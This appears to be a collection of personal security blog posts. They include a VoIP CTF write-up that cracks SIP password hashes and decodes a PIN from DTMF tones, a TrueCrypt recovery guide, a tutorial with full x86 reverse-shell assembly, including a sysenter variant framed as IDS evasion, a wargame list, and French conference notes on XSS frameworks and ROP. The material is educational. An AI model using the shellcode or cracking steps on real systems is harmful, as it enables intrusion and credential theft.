24 Jun 2013

OVHACK - VoIP Challenges Write-up

During "La Nuit du Hack" last week end in Paris, OVH released a set of challenges . Three of them were VoIP-related. I thought it was interesting to give it a try. The first challenge comes with a cap file and the following information:
A quick look at the cap file shows that it only contains signalisation protocol (in this case, SIP):
$ capinfos VOIP1_ndh_easy.cap 
File name:           VOIP1_ndh_easy.cap
File type:           Wireshark/tcpdump/... - libpcap
File encapsulation:  Ethernet
Packet size limit:   file hdr: 65535 bytes
Number of packets:   35
File size:           24896 bytes
Data size:           24312 bytes
Capture duration:    5 seconds
Start time:          Fri Jun 21 14:38:30 2013
End time:            Fri Jun 21 14:38:35 2013
Data byte rate:      4617.01 bytes/sec
Data bit rate:       36936.10 bits/sec
Average packet size: 694.63 bytes
Average packet rate: 6.65 packets/sec
SHA1:                8b5622e767e008fa6b648bc071aa19d0b7c40b48
RIPEMD160:           42630586727b8d01d57584d338623c60ac382aea
MD5:                 13c54fb7e70546c53632d4a9ef96deab
Strict time order:   True

$ tshark -qnr VOIP1_ndh_easy.cap -z io,phs 

===================================================================
Protocol Hierarchy Statistics
Filter: 

eth                                      frames:35 bytes:24312
  ip                                     frames:35 bytes:24312
    udp                                  frames:35 bytes:24312
      sip                                frames:35 bytes:24312
===================================================================

A closer look at the cap shows some failed authentication attempts:
$ tshark -nr VOIP1_ndh_easy.cap sip.auth
  1   0.000000 37.160.7.151 -> 178.33.242.242 SIP 901 Request: REGISTER sip:178.33.242.242:5060;transport=UDP
  2   0.000021 37.160.7.151 -> 178.33.242.242 SIP 901 Request: REGISTER sip:178.33.242.242:5060;transport=UDP
  4   0.000312 178.33.242.242 -> 37.160.7.151 SIP 645 Status: 401 Unauthorized    (0 bindings)
  6   0.110184 37.160.7.151 -> 178.33.242.242 SIP 901 Request: REGISTER sip:178.33.242.242:5060;transport=UDP
 11   0.280350 178.33.242.242 -> 37.160.7.151 SIP 633 Status: 401 Unauthorized    (0 bindings)
 12   0.356216 37.160.7.151 -> 178.33.242.242 SIP 904 Request: REGISTER sip:178.33.242.242:5060;transport=UDP
 17   5.073604 37.160.7.151 -> 178.33.242.242 SIP 901 Request: REGISTER sip:178.33.242.242:5060;transport=UDP
 19   5.073858 178.33.242.242 -> 37.160.7.151 SIP 645 Status: 401 Unauthorized    (0 bindings)
 22   5.089776 178.33.242.242 -> 37.160.7.151 SIP 633 Status: 401 Unauthorized    (0 bindings)
 23   5.155821 37.160.7.151 -> 178.33.242.242 SIP 901 Request: REGISTER sip:178.33.242.242:5060;transport=UDP
 27   5.165829 178.33.242.242 -> 37.160.7.151 SIP 633 Status: 401 Unauthorized    (0 bindings)
 28   5.187878 37.160.7.151 -> 178.33.242.242 SIP 901 Request: REGISTER sip:178.33.242.242:5060;transport=UDP
 31   5.199716 37.160.7.151 -> 178.33.242.242 SIP 904 Request: REGISTER sip:178.33.242.242:5060;transport=UDP

Last attempt seems to contain the correct password, as there is no 401 Unauthorized message.
By googling around, you can find this nice post on VoIP hacking, that mentions sipcrack usage (sipcrack is packaged in Debian).

We create a dump file from the cap file with the following command:
$ sipdump -p VOIP1_ndh_easy.cap VOIP1_ndh_easy.dmp

First, we use the excellent rockyou.txt dictionnary, with sipcrack. We try to crack the 8th password, as it seems to be correct. Unfortunately, no password is found:
$ sipcrack -w rockyou.txt VOIP1_ndh_easy.dmp 

SIPcrack 0.2  ( MaJoMu | www.codito.de ) 
----------------------------------------

* Found Accounts:

Num     Server          Client          User    Hash|Password

1       37.160.7.151    178.33.242.242  jerome  5d0b5b10ba93bb4df788ee995fd16361
2       37.160.7.151    178.33.242.242  jerome  5d0b5b10ba93bb4df788ee995fd16361
3       37.160.7.151    178.33.242.242  jerome  8c8b9699a1ceac60e2341727af25ba49
4       37.160.7.151    178.33.242.242  jerome  415c2bc5d47e8d9689e6ec78792920f6
5       37.160.7.151    178.33.242.242  jerome  415c2bc5d47e8d9689e6ec78792920f6
6       37.160.7.151    178.33.242.242  jerome  415c2bc5d47e8d9689e6ec78792920f6
7       37.160.7.151    178.33.242.242  jerome  70c61b8ebe6e146281e7f9efa66668e1
8       37.160.7.151    178.33.242.242  jerome  4919f5bce37c6565296979a6750af219

* Select which entry to crack (1 - 8): 8

* Generating static MD5 hash... 808e24f456745cb56d8f7f4b67579c61
* Loaded wordlist: 'rockyou.txt'
* Starting bruteforce against user 'jerome' (MD5: '4919f5bce37c6565296979a6750af219')
* Tried 14352510 passwords in 11 seconds

* Tried all passwords, no match

The text above mentionned that the password length is 6 characters and that it only contains lower-case letters.
John the ripper can generate this, but it'll take ages, and use a lot of disk space. Thanks to Sn0rkY advise, we can use a fifo! to dynamically pass passwords generated by John to sipcrack. In one terminal, sipcrack is reading from the fifo:
$ mkfifo fifo && sipcrack -w fifo VOIP1_ndh_easy.dmp

SIPcrack 0.2  ( MaJoMu | www.codito.de ) 
----------------------------------------

* Found Accounts:

Num     Server          Client          User    Hash|Password

1       37.160.7.151    178.33.242.242  jerome  5d0b5b10ba93bb4df788ee995fd16361
2       37.160.7.151    178.33.242.242  jerome  5d0b5b10ba93bb4df788ee995fd16361
3       37.160.7.151    178.33.242.242  jerome  8c8b9699a1ceac60e2341727af25ba49
4       37.160.7.151    178.33.242.242  jerome  415c2bc5d47e8d9689e6ec78792920f6
5       37.160.7.151    178.33.242.242  jerome  415c2bc5d47e8d9689e6ec78792920f6
6       37.160.7.151    178.33.242.242  jerome  415c2bc5d47e8d9689e6ec78792920f6
7       37.160.7.151    178.33.242.242  jerome  70c61b8ebe6e146281e7f9efa66668e1
8       37.160.7.151    178.33.242.242  jerome  4919f5bce37c6565296979a6750af219

* Select which entry to crack (1 - 8): 8

* Generating static MD5 hash... 808e24f456745cb56d8f7f4b67579c61

... whilst in another terminal, John is generating the dictionary and outputs to the fifo:
$ john -i:alpha -stdout=6 > fifo

After few seconds:
* Loaded wordlist: 'fifo'
* Starting bruteforce against user 'jerome' (MD5: '4919f5bce37c6565296979a6750af219')
* Tried 37540823 passwords in 29 seconds

* Found password: 'sipcrk'
* Updating dump file 'VOIP1_ndh_easy.dmp'... done
Bazinga!



The second challenge is similar to the first one:

$ capinfos VOIP2_ndh_auth.cap 
File name:           VOIP2_ndh_auth.cap
File type:           Wireshark/tcpdump/... - libpcap
File encapsulation:  Ethernet
Packet size limit:   file hdr: 847 bytes
Packet size limit:   inferred: 847 bytes
Number of packets:   52
File size:           36078 bytes
Data size:           35825 bytes
Capture duration:    6 seconds
Start time:          Fri Jun 21 14:45:56 2013
End time:            Fri Jun 21 14:46:02 2013
Data byte rate:      6406.65 bytes/sec
Data bit rate:       51253.21 bits/sec
Average packet size: 688.94 bytes
Average packet rate: 9.30 packets/sec
SHA1:                b3b5851632ad9cbeba308fb9607ca0c65bd145db
RIPEMD160:           a4a28e4b9ffbff93c4f4cb8fe97e62e16c23eeb3
MD5:                 9ab6584a82464dc309871616550bae7e
Strict time order:   True
$ tshark -qnr VOIP2_ndh_auth.cap -z io,phs

===================================================================
Protocol Hierarchy Statistics
Filter: 

eth                                      frames:52 bytes:35825
  ip                                     frames:52 bytes:35825
    udp                                  frames:52 bytes:35825
      sip                                frames:52 bytes:35825
        short                            frames:11 bytes:9920
===================================================================

$ tshark -nr VOIP2_ndh_auth.cap sip.auth
  4   0.000330 178.33.242.242 -> 37.160.7.151 SIP 645 Status: 401 Unauthorized    (0 bindings)
  6   0.000514 178.33.242.242 -> 37.160.7.151 SIP 633 Status: 401 Unauthorized    (0 bindings)
 17   0.532170 178.33.242.242 -> 37.160.7.151 SIP 645 Status: 401 Unauthorized    (0 bindings)
 20   0.550135 178.33.242.242 -> 37.160.7.151 SIP 633 Status: 401 Unauthorized    (0 bindings)
 31   3.784278 178.33.242.242 -> 37.160.7.151 SIP 645 Status: 401 Unauthorized    (0 bindings)
 34   3.804119 178.33.242.242 -> 37.160.7.151 SIP 633 Status: 401 Unauthorized    (0 bindings)
 39   5.451961 178.33.242.242 -> 37.160.7.151 SIP 633 Status: 401 Unauthorized    (0 bindings)
 44   5.496272 178.33.242.242 -> 37.160.7.151 SIP 633 Status: 401 Unauthorized    (0 bindings)

We use the same technique we used for the first challenge:
$ sipdump -p VOIP2_ndh_auth.cap VOIP2_ndh_auth.dmp

SIPdump 0.2  ( MaJoMu | www.codito.de ) 
---------------------------------------

* Using pcap file 'VOIP2_ndh_auth.cap' for sniffing
* Starting to sniff with packet filter 'tcp or udp'

* Dumped login from 178.33.242.242 -> 37.160.7.151 (User: 'jerome')

* Exiting, sniffed 1 logins

For some reason, we may have to run this command several times, as it does not always find any login:
$ sipdump -p VOIP2_ndh_auth.cap VOIP2_ndh_auth.dmp

SIPdump 0.2  ( MaJoMu | www.codito.de ) 
---------------------------------------

* Using pcap file 'VOIP2_ndh_auth.cap' for sniffing
* Starting to sniff with packet filter 'tcp or udp'


* Exiting, sniffed 0 logins

When trying to break it:
$ mkfifo fifo && sipcrack -w fifo VOIP2_ndh_auth.dmp 

SIPcrack 0.2  ( MaJoMu | www.codito.de ) 
----------------------------------------

* Found Accounts:

Num     Server          Client          User    Hash|Password

1       37.160.7.151    178.33.242.242  jerome  cd5a6d788761e167b5fee5ad9c0ea328

* Select which entry to crack (1 - 1): 1

* Cannot crack 'MDREGIS' hash, only MD5 supported so far...

There is this weird MDREGIS in VOIP2_ndh_auth.dmp:
37.160.7.151"178.33.242.242"jerome"asterisk"REGISTER"sip:178.33.242.242:5060;transport=UDP"4fd59b13""""MDREGIS"cd5a6d788761e167b5fee5ad9c0ea328

Let's replace with MD5, and run sipcrack again:
$ sed -i.orig 's/MDREGIS/MD5/g' VOIP2_ndh_auth.dmp
$ sipcrack -w fifo VOIP2_ndh_auth.dmp 

SIPcrack 0.2  ( MaJoMu | www.codito.de ) 
----------------------------------------

* Found Accounts:

Num     Server          Client          User    Hash|Password

1       37.160.7.151    178.33.242.242  jerome  cd5a6d788761e167b5fee5ad9c0ea328

* Select which entry to crack (1 - 1): 1

* Generating static MD5 hash... 808e24f456745cb56d8f7f4b67579c61
* Loaded wordlist: 'fifo'
* Starting bruteforce against user 'jerome' (MD5: 'cd5a6d788761e167b5fee5ad9c0ea328')
* Tried 38480203 passwords in 28 seconds

* Found password: 'goodjb'
* Updating dump file 'VOIP2_ndh_auth.dmp'... done
BOOOM!



The third challenge is pure fun! We have to find out the account number and pin code that a guy typed on his phone :)

Capture lasts longer than the previous ones (108 seconds):
$ capinfos VOIP3_voip_call.cap 
File name:           VOIP3_voip_call.cap
File type:           Wireshark/tcpdump/... - libpcap
File encapsulation:  Ethernet
Packet size limit:   file hdr: 65535 bytes
Number of packets:   5910
File size:           1356338 bytes
Data size:           1261754 bytes
Capture duration:    108 seconds
Start time:          Thu Jun 20 17:16:31 2013
End time:            Thu Jun 20 17:18:18 2013
Data byte rate:      11688.83 bytes/sec
Data bit rate:       93510.66 bits/sec
Average packet size: 213.49 bytes
Average packet rate: 54.75 packets/sec
SHA1:                28bd8ddbf816f4a163208446749c0e31bfe12408
RIPEMD160:           5a0239f9851bebfa380851901740231d11f7f7e7
MD5:                 457789940df97729c7ad553d7cc59142
Strict time order:   True

This time, there is media traffic (rtp):
$ tshark -qnr VOIP3_voip_call.cap -z io,phs

===================================================================
Protocol Hierarchy Statistics
Filter: 

eth                                      frames:5910 bytes:1261754
  ip                                     frames:5910 bytes:1261754
    udp                                  frames:5910 bytes:1261754
      sip                                frames:20 bytes:13614
      rtp                                frames:5890 bytes:1248140
        rtpevent                         frames:80 bytes:4800
===================================================================

Wireshark allows us to decode captured RTP data into audio format. By clicking on Telephony->RTP->Show all streams, we can find 4 streams:

By clicking "Find reverse", we can find the full conversation, and listen to it:

In this first conversation, it does not seem that user type his password:

We select the second conversation, and listen to it:

This time, we can ear the user dialing his code:

Let's extract this conversation in .au format.

$ file voip3.au
voip3.au: Sun/NeXT audio data: 16-bit linear PCM, mono, 8000 Hz

We can use Audacity to explore this file:

On analog phones, pressing a single key will send a tone containing two frequencies. On a touch pad, every column and every row emits its own frequency, as described in this Wikipedia entry:

By selecting every dial and performing a spectrum analysis, we can find out the keys that the user pressed :) On Audacity, highlight one dial and select Analyse->Plot Spectrum. You may need to reduce the sample size to 512 to get a display, and select Spectrum Algorithm and Rectangular window function:

By repeating this process for each key, we collect the user account number and pin code :)
6842276257:1952

2 Apr 2012

How to recover from a Truecrypt header crash

Recently, my truecrypt volume, in which I stored my audit reports and my beloved scripts I wrote to perform these audits, had an issue, that is, when trying to mount it, I got the following error message :

$ truecrypt -k "" --protect-hidden=no work.tc workDir
Enter password for work.tc: 
Error: mount: /dev/mapper/truecrypt1: can't read superblock

I do not understand what exactly happened ; maybe unmout was not done properly ? But this is not what this post is about...

As you might know, truecrypt is able to restore headers from a backup located inside the truecrypt volume or from an external backup created with --backup-headers parameters (which, of course I did not create):
$ truecrypt -k "" --protect-hidden=no --restore-headers work.tc workDir
Please select the type of volume header backup you want to use:

1) Restore the volume header from the backup embedded in the volume
2) Restore the volume header from an external backup file

Select: 

Unfortunately, truecrypt was not able to recover at this point.

I googled around, but did not find anything to fix it ; so this is my solution:

First of all, uncipher the truecrypt volume without mounting it:
$ truecrypt -k "" --protect-hidden=no --filesystem=none work.tc
Enter password for work.tc: 
$ ls /dev/mapper/truecrypt1 
/dev/mapper/truecrypt1

The truecrypt volume is now unciphered in the device /dev/mapper/truecrypt1.

Then, foremost does a great job at recovering pdf and doc files :
$ foremost -T -t pdf -t doc -t docx /dev/mapper/truecrypt1

Afer a while, output_### directory contains three subdirectories ( docx, doc and pdf) that contain some recovered files. Of course, having the filesystem broken, file name are mangled.

As I mentionned previously, I put a lot of scripts (mostly Python) in this truecrypt container, and I really wanted to recover them.
A tough job would be to strings the unciphered container and to grep to find interesting files.

Having a look at foremost man pages, it appeared that it is possible to define file header and footer. Fortunately, all my Python scripts start with
#!/usr/bin/env python
line.
Then, it is easy to create a custom configuration file and execute foremost over the truecrypt unciphered volume:
$ cat > foremost.python.conf
py     y       20000   #!/usr/bin/env        #!/usr/bin/env        ASCII
$ foremost -t py -c foremost.python.conf -T /dev/mapper/truecrypt1

Eventually, the output_###/py contains a set of recovered python source files. Of course, some cleaning has to be done to remove garbage code, to split merged files and eventually to rename files, but it saved days of work !

Have phun !

8 Jan 2012

Shellcoding with Sysenter

  1. Introduction

System calls are issued by user mode programs to request the kernel to perform some operation. Indeed, some resources such as hardware resources are not directly available in user mode. When an user mode program needs to open a file on the hard disk drive, it issues a system call and the kernel will be handling the opening of the file, and give back a file descriptor to the user mode program.

On Unix systems, the C library provides wrapper around these system calls. In the previous example, the open function does perform a system call.

In shellcode development, it is not always the easiest way to use the libc, especially when Adress Space Layout Randomization (ASLR) is on. Hence, a shellcoder should be able to directly ask the kernel for resources through syscalls.

Current Linux Kernel provides two way to issue system call on Intel platforms:
  • int 0x80 opcode
  • systenter opcode

The goal here is not to cover the famous int 0x80 opcode details. Let's just remind that int 0x80 is implemented as a Trap Gate.

In Linux terminology, Trap Gates and Interrupt Gates are entries of the Interrupt Description Table (IDT) that contain Segment Selector (SS) address and an offset inside this segment that points to interruption or exception handler. The difference between Interrupt and Trap gates is that interruptions are not masked during the execution of a Trap Gate handler. int 0x80 is particular among other trap gate. It is part of the three implemented system gate. A system gate is a trap gate accessible by user mode programs.

When an int 0x80 is issued by user mode program, the kernel will look for the handler pointed by the 128th entry (0x80) in the IDT. This handler is the system_call() function that has all the necessary work done to move from user mode to kernel mode (register saving, security checks, etc.).

Most shellcode use this methodology to access resources that are not accessible in user mode the target program is running in.

As a consequence, we can assume that the opcode int 0x80 is checked by Intrusion Detection Systems (IDS). I wonder if an attacker can take advantage of systenter usage to escape some IDS technology.
Indeed, if an IDS checks for int 0x80 opcode, we can then defeat it using the sysenter opcode, as assembly opcodes are totally different :
$ ./nasm_shell.rb 
nasm > int 0x80
00000000  CD80              int 0x80
nasm > sysenter
00000000  0F34              sysenter
For sure, this is just a guess, I did not dig it. In this article, we'll implement a shellcode using the int 0x80 and modify it to use the sysenter for fun.

  1. Int80 based shellcode


Let's write a reverse shell code that connects back to port 0x9999 (39321) on loopback device (127.0.0.1). This code does contain some null bytes - their removal is left to the reader as homework.
BITS 32

segment .text

global _start

_start:
push byte 0x66      ; sys_socketcall
pop eax
push byte 0x01
pop ebx             ; socket()

cdq                 ; msb of eax is 0, so edx = 0
mov dl, 0x06        ; TCP  ; can be 0
push edx
mov dl, 0x01        ; SOCK_STREAM
push edx
inc edx
push edx            ; AF_INET
mov ecx, esp        ; ptr to args
int 0x80            ; socket(AF_INET, SOCK_STREAM, TCP)

mov edi, eax        ; sockfd = edi

push byte 0x66      ; sys_scocketcall
pop eax
push byte 0x03      ; connect
pop ebx
cdq
mov ecx, edx

push edx            ; end of structure
push edx            ; char sin_zero = 0
push 0x0100007f     ; sin.sin_addr.s_addr = 127.0.0.1
push word 0x9999    ; u_short sin_port = 39321
mov dl, 0x02        
push dx             ; short sin_family = 0x02
mov edx, esp        ; my_addr on stack

mov cl, 0x10        
push ecx            ; addrlen = 16
push edx            ; &my_addr
push edi            ; sockfd
mov ecx, esp        ; ptr to args
int 0x80            ; bind(sockfd, &my_addr, addrlen);

mov  ebx, edi       ; sockfd = ebx

push byte 0x3f      ; sys_dup2
pop eax
xor ecx, ecx
int 0x80            ; dup2(sockfd, stdin) // stdin = 0

push byte 0x3f      ; sys_dup2
pop eax
inc ecx
int 0x80            ; dup2(sockfd, stdout) // stdout = 1


push byte 0x3f      ; sys_dup2
pop eax
inc ecx
int 0x80            ; dup2(sockfd, stdout) // stderr = 2


cdq
push edx
push 0x68732f6e       ; echo -n //bin/sh | od -t x4
push 0x69622f2f       ; //bin/sh\0 on stack

mov ebx, esp          ; save stack position
push edx              ; NULL
push ebx              ; pointer to string
                      ; ebx points to string //bin/sh
mov ecx, esp          ; pointer to array {ebx, NULL}

push byte 0xc
pop eax
dec eax
int 0x80              ; execve(ebx, ecx, edx)

push byte 0x1         ; sys_exit
pop ebx
xchg eax, ebx
dec ebx
int 0x80              ; exit(0);
Netcat is used to listen for connections on port 0x9999:
$ nc -lp 39321
Meanwhile, in another shell, our reverse shell is compiled, linked and launched:
$ nasm -f elf reverseshell_int80.asm && ld -o reverseshell_int80 reverseshell_int80.o && ./reverseshell_int80
On our first shell, we can get a "remote" shell:
$ nc -lp 39321
ls
reverseshell_int80
reverseshell_int80.asm
reverseshell_int80.o
echo w00t  
w00t
exit
$
Good ! Now let's modify this code to make usage of sysenter.

  1. Sysenter based shellcode - "naive" approach

A naive approach would be to change all int 0x80 opcodes by sysenter opcode:
$ sed 's/int 0x80/sysenter/g' reverseshell_int80.asm > reverseshell_sysenter.asm
$ nasm -f elf reverseshell_sysenter.asm && ld -o reverseshell_sysenter reverseshell_sysenter.o
$ ./reverseshell_sysenter
Segmentation fault
As we can see, it does not go well...

  1. int vs. sysenter

eip handling


Indeed, sysenter does not perfom all the registry saving that int 0x80 does.

When int 0x80 is issued, CPU saves eflags, eip, esp, ss and cs registers. Then, it switches from user mode to kernel mode. Before eventually calling the syscall routine, the kernel saves remaining registers on the stack.

On the other hand, when sysenter opcode is issued, the CPU copies the content of three Model-Specific Registers (MSR):
  • SYSENTER_CS_MSR, containing the systenter Code Segment address;
  • SYSENTER_EIP_MSR, containing a pointer to the sysenter_entry() function;
  • SYSENTER_ESP_MSR, containing the Kernel Stack pointer.
into their corresponding registers ; that is, SYSENTER_CS_MSR content is copied into cs register, SYSENTER_ESP_MSR content is copied into esp and SYSENTER_EIP_MSR content is copied into eip register.

The latest point is important: the current address on which eip is pointing is not saved. If a call opcode was used, the next instruction address would have been saved. Here it is definitively not the case. Hence, shellcoder has to manually handle the eip register saving.

Return from sysenter is handled by sysexit opcode that switch from kernel mode to user mode, and by a SYSENTER_RETURN macro that pops ebp, ebx and edx registers, and ends with a ret opcode. The ret opcode pops eip from stack. As a consequence, shellcoder just needs to manully push eip on stack before issuing sysenter opcode.

Other registers handling


Moreover, stack trace of reverseshell_sysenter gives extra information:
$gdb ./reverseshell_sysenter
gdb$ r

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: FFFFFFF2  EBX: 00000001  ECX: BFFFF504  EDX: 00000002  o d I t s z a p c 
  ESI: 00000000  EDI: 00000000  EBP: 00000000  ESP: 00000000  EIP: B7FFF424
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0000  SS: 007B
[007B:00000000]----------------------------------------------------------[stack]
00000050 : Error while running hook_stop:
Cannot access memory at address 0x50
0xb7fff424 in __kernel_vsyscall ()
gdb$ 
__kernel_vsyscall code shows that ebp, ebx and ecx registers are saved on the stack, because of internal use of these registers:
gdb$ disass __kernel_vsyscall
Dump of assembler code for function __kernel_vsyscall:
0xb7fff414 <__kernel_vsyscall+0>:       push   ecx
0xb7fff415 <__kernel_vsyscall+1>:       push   edx
0xb7fff416 <__kernel_vsyscall+2>:       push   ebp
0xb7fff417 <__kernel_vsyscall+3>:       mov    ebp,esp
0xb7fff419 <__kernel_vsyscall+5>:       sysenter 
0xb7fff41b <__kernel_vsyscall+7>:       nop
0xb7fff41c <__kernel_vsyscall+8>:       nop
0xb7fff41d <__kernel_vsyscall+9>:       nop
0xb7fff41e <__kernel_vsyscall+10>:      nop
0xb7fff41f <__kernel_vsyscall+11>:      nop
0xb7fff420 <__kernel_vsyscall+12>:      nop
0xb7fff421 <__kernel_vsyscall+13>:      nop
0xb7fff422 <__kernel_vsyscall+14>:      int    0x80
0xb7fff424 <__kernel_vsyscall+16>:      pop    ebp
0xb7fff425 <__kernel_vsyscall+17>:      pop    edx
0xb7fff426 <__kernel_vsyscall+18>:      pop    ecx
0xb7fff427 <__kernel_vsyscall+19>:      ret    
End of assembler dump.
gdb$ 
Shellcoder has to manually implement this stack saving.

  1. Sysenter shellcode


Registers saving has to be handled manually in our shellcode, by the _sysenter function:
_sysenter:
   push   ecx
   push   edx
   push   ebp
   mov    ebp,esp
   sysenter

Moreover, in order to save the next instruction address on the stack, a call to _sysenter function is inserted. Indeed, when issuing a call opcode, eip register is saved on the stack.

The final code looks like this:
BITS 32

segment .text

global _start

_start:
push byte 0x66      ; sys_socketcall
pop eax
push byte 0x01
pop ebx             ; socket()

cdq                 ; msb of eax is 0, so edx = 0
mov dl, 0x06        ; TCP  ; can be 0
push edx
mov dl, 0x01        ; SOCK_STREAM
push edx
inc edx
push edx            ; AF_INET
mov ecx, esp        ; ptr to args
call _sysenter      ; socket(AF_INET, SOCK_STREAM, TCP)

mov edi, eax        ; sockfd = edi

push byte 0x66      ; sys_scocketcall
pop eax
push byte 0x03      ; connect
pop ebx
cdq
mov ecx, edx

push edx            ; end of structure
push edx            ; char sin_zero = 0
push 0x0100007f     ; sin.sin_addr.s_addr = 127.0.0.1
push word 0x9999    ; u_short sin_port = 39321
mov dl, 0x02        
push dx             ; short sin_family = 0x02
mov edx, esp        ; my_addr on stack

mov cl, 0x10        
push ecx            ; addrlen = 16
push edx            ; &my_addr
push edi            ; sockfd
mov ecx, esp        ; ptr to args
call _sysenter      ; bind(sockfd, &my_addr, addrlen);

mov  ebx, edi       ; sockfd = ebx

push byte 0x3f      ; sys_dup2
pop eax
xor ecx, ecx
call _sysenter      ; dup2(sockfd, stdin) // stdin = 0

push byte 0x3f      ; sys_dup2
pop eax
inc ecx
call _sysenter      ; dup2(sockfd, stdout) // stdout = 1


push byte 0x3f      ; sys_dup2
pop eax
inc ecx
call _sysenter      ; dup2(sockfd, stdout) // stderr = 2


cdq
push edx
push 0x68732f6e       ; echo -n n/sh | od -t x4
push 0x69622f2f       ; /bin//sh\0 on stack

mov ebx, esp          ; save stack position
push edx              ; NULL
push ebx              ; pointer to string
                      ; ebx points to string /bin/sh
mov ecx, esp          ; pointer to array {ebx, NULL}

push byte 0xc
pop eax
dec eax
call _sysenter        ; execve(ebx, ecx, edx)

push byte 0x1         ; sys_exit
pop ebx
xchg eax, ebx
dec ebx
call _sysenter        ; exit(0);

_sysenter:
   push   ecx
   push   edx
   push   ebp
   mov    ebp,esp
   sysenter
Please note that it is not exploitable "as it". call opcode introduce some bad chars and non-relocable code. This "cleaning" is left as homework for the reader.

  1. Conclusion

I'm not sure if the sysenter opcode has really an advantage over the int 0x80. As we have seen, the shellcode grows due to the need of saving the context onto the user mode stack (general purpose registers ebp, ebx and ecx and instruction pointer eip). I'm not even sure if it is more stealthy. Please leave a comment/send email if you have data on this subject.

Have phun !

Further reading: "Understanding the Linux Kernel, 3rd edition", Daniel P. Bovet & Marco Cesati, O'Reilly

5 May 2011

Wargame List

Here is a non-exhaustive list of hacking challenge sites.

x86 binaries Exploitation

Linux wargames:
http://intruded.net/
http://www.overthewire.org/wargames/
http://smashthestack.org/
https://sm0k.org/dojo/vanilla.php
http://community.corest.com/~gera/InsecureProgramming/
Windows vulnerable binaries:
http://sourceforge.net/projects/virtualhacking/files/apps@realworld//

Web application

Beginner level:
http://google-gruyere.appspot.com/ (VM/code)
http://sourceforge.net/projects/dvwa/ (VM)
Realistic:
http://www.badstore.net/ (VM)
http://www.hackthissite.org/pages/index/index.php
SQL injections :
http://hackit.sh4ka.fr/
http://50.57.51.240/challenges/

Crackme

http://www.try2hack.nl/
http://crackmes.de/

A little bit of everything :)

http://securityoverride.org/news.php
http://www.zenk-security.com/
http://n-pn.info/
http://www.newbiecontest.org/
http://www.root-me.org/
http://wargame.nuitduhack.com/

Miscellaneous (not tried yet)

http://0x41414141.com/
http://real-forensic.com/
http://hackbbs.org/index.php
http://wiki.pythonchallenge.com/index.php?title=3DMain_Page
http://www.securite-info.org/
http://securitytraps.no-ip.pl/
http://www.try2hack.nl/

5 Dec 2010

2eme GSDays - XSSF

XSS FrameWork

Après un rappel sur le principe des XSS, l'orateur rappelle la position des failles XSS dans le classement de l'OWASP:
  • 2004: 4ème
  • 2007: 1ère
  • 2010: 2nde
Si certains XSS sont restées relativement inoffensives (SamyWorm sur MySpace en 2005, Yamanner sur Yahoo! en 2006), d'autres, comme l'attaque contre la bugtracking base du projet Apache, ont été plus agressives.

Considérée comme la "faille du pauvre", l'orateur à développé XSSF pour démontrer, lors d'audit, le réel danger des XSS.

"One Ring to rule them all"

XSSF (XSS FrameWork) est totalement intégré a Metasploit. Ce plugin prend en compte les mesures de mitigation des risques tels que la SOP (Same Origin Policy), certains filtres (Reflected XSS dans IE8), HTML5.

L'exploitation des victimes est facilitée par une rémanence de la liste des victimes, passées ou présentes.
Un autre intérêt de l'outil est que l'injection est la même quelque soit le contexte. Le browser de la victime vient régulièrement consulte le serveur contrôlé par l'assaillant.

On peut alors créer un tunnel XSS (pour bypasser la SOP, la charge doit être placée sur le serveur interne).

L'orateur démontre la puissance de l'outil, complètement intégré a Metasploit, en exécutant un exploit de type 'faille lnk' Windows sur le poste de la victime.

My two cents

Ce billet sur le site BindShell indique le portage en Ruby de BeEF (Browser Exploitation Framework), surement pour une meilleure intégration avec Metasploit. Aujoud'hui le lien entre les deux est possible, mais est relativement complexe a mettre en place.
L'outil présenté prend de vitesse ce portage: l'architecture de XSSF est pensée en fonction de Metasploit, et doit être intégré dans la version 3.5.1. Comme démontré, on peut rebondir pour exploiter la victime avec des payloads différentes.

Liens

Pour charger le plugin, voir sur ce lien: https://www.metasploit.com/redmine/attachments/596/XSSF.zip

2eme GSDays - ROP

Return Object Programming

Le but de la conférence est de démontrer les nouvelles techniques de bufferoverfl0w.

StackOverflow

Apres un rappel sur la structure de la stack, l'orateur explique le fonctionnement des stackoverflows 'classiques', c'est-a-dire sans ASLR, DEP, ...

Return Into Libc

La mise en place de DEP (Data Execution Prevention) - en clair rendre la stack non exécutable (utilisation du bit NX sur les processeur x86), rend caduque le codage de shellcode 'classiques'.
Le Return Into Libc consiste a chainer des appels à la libc dans la stack, pour créer un code d'exploitation:
call libc_function
dummy ebp
dummy eip
args...

Les contre-mesures sont:
  • ASLR (Address Space Layout Randomisation): chargement random des adresses de la libc (kernell32.dll est positionnée au démarrage du système) ;
  • Compiler le binaire en ôtant les fonctions libc inutilisées ;
  • inclure des octets 0x00 dans les adresses des fonctions dangereuses (execve, system, ...).

ROP

Mener a bien une attaque de type bufferoverfl0w en utilisant le ROP nécessite au moins une grande librairie sans ASLR. Même sans fonctions intéressantes, elle permet de séquencer des instructions assembleurs pour créer un shellcode.
On commence par chercher des 'gadgets' dans cette librairie ; un gadget étant une partie de code assembleur se terminant par l'opcode RET. Ainsi, on peut séquencer des calls a ces 'gadgets' ; l'instruction RET permettra de dépiler eip sur l'adresse (dans la stack) suivant l'appel a ce gadget.

Petite démonstration de l'orateur: sur un processeur type x86, le nombre de gadgets disponibles pour un RET est bien supérieur au nombre d'instructions précédant ce RET. En effet, une instruction peut contenir un bytecode correspondant à une instruction assembleur.

Par exemple le code:
c6 05 54 98 04 08 5d     movb   $0x5d,0x8049854
c3                       ret
permet de créer le gadget:
c6 05 54 98 04 08 5d     movb   $0x5d,0x8049854
c3                       ret
mais aussi le gadget:
5d                       pop %ebp
c3                       ret

En "ROPpant", il est aussi possible de rendre une zone mémoire exécutable (donc bypasser le DEP): on crée une séquence de WriteProcessMemory (désactive le bit NX) avec le shellcode stocké dans le buffer contrôlé par l'attaquant, puis effectuer un call a l'adresse du buffer pour procéder à l'exécution.

De même, une exploitation en ROP sur l'iPhone permet de s'affranchir des zones mémoires signées.

Outils

L'orateur cite Metasm, RopMe et Zynamics qui est un outil de recherche pure pour un compilateur de gadget.

2eme GSDays - H@ckRam

H@ckRam

Le but de la présentation est de faire l'état de l'art de l'exploitation de la mémoire RAM sous Windows.

Caractéristiques

Ce type d'exploitation présente deux caractéristiques principales:
  • facilitation d'analyse des données extraites, car celles-ci sont rarement chiffrées en RAM, a l'inverse des disques durs ;
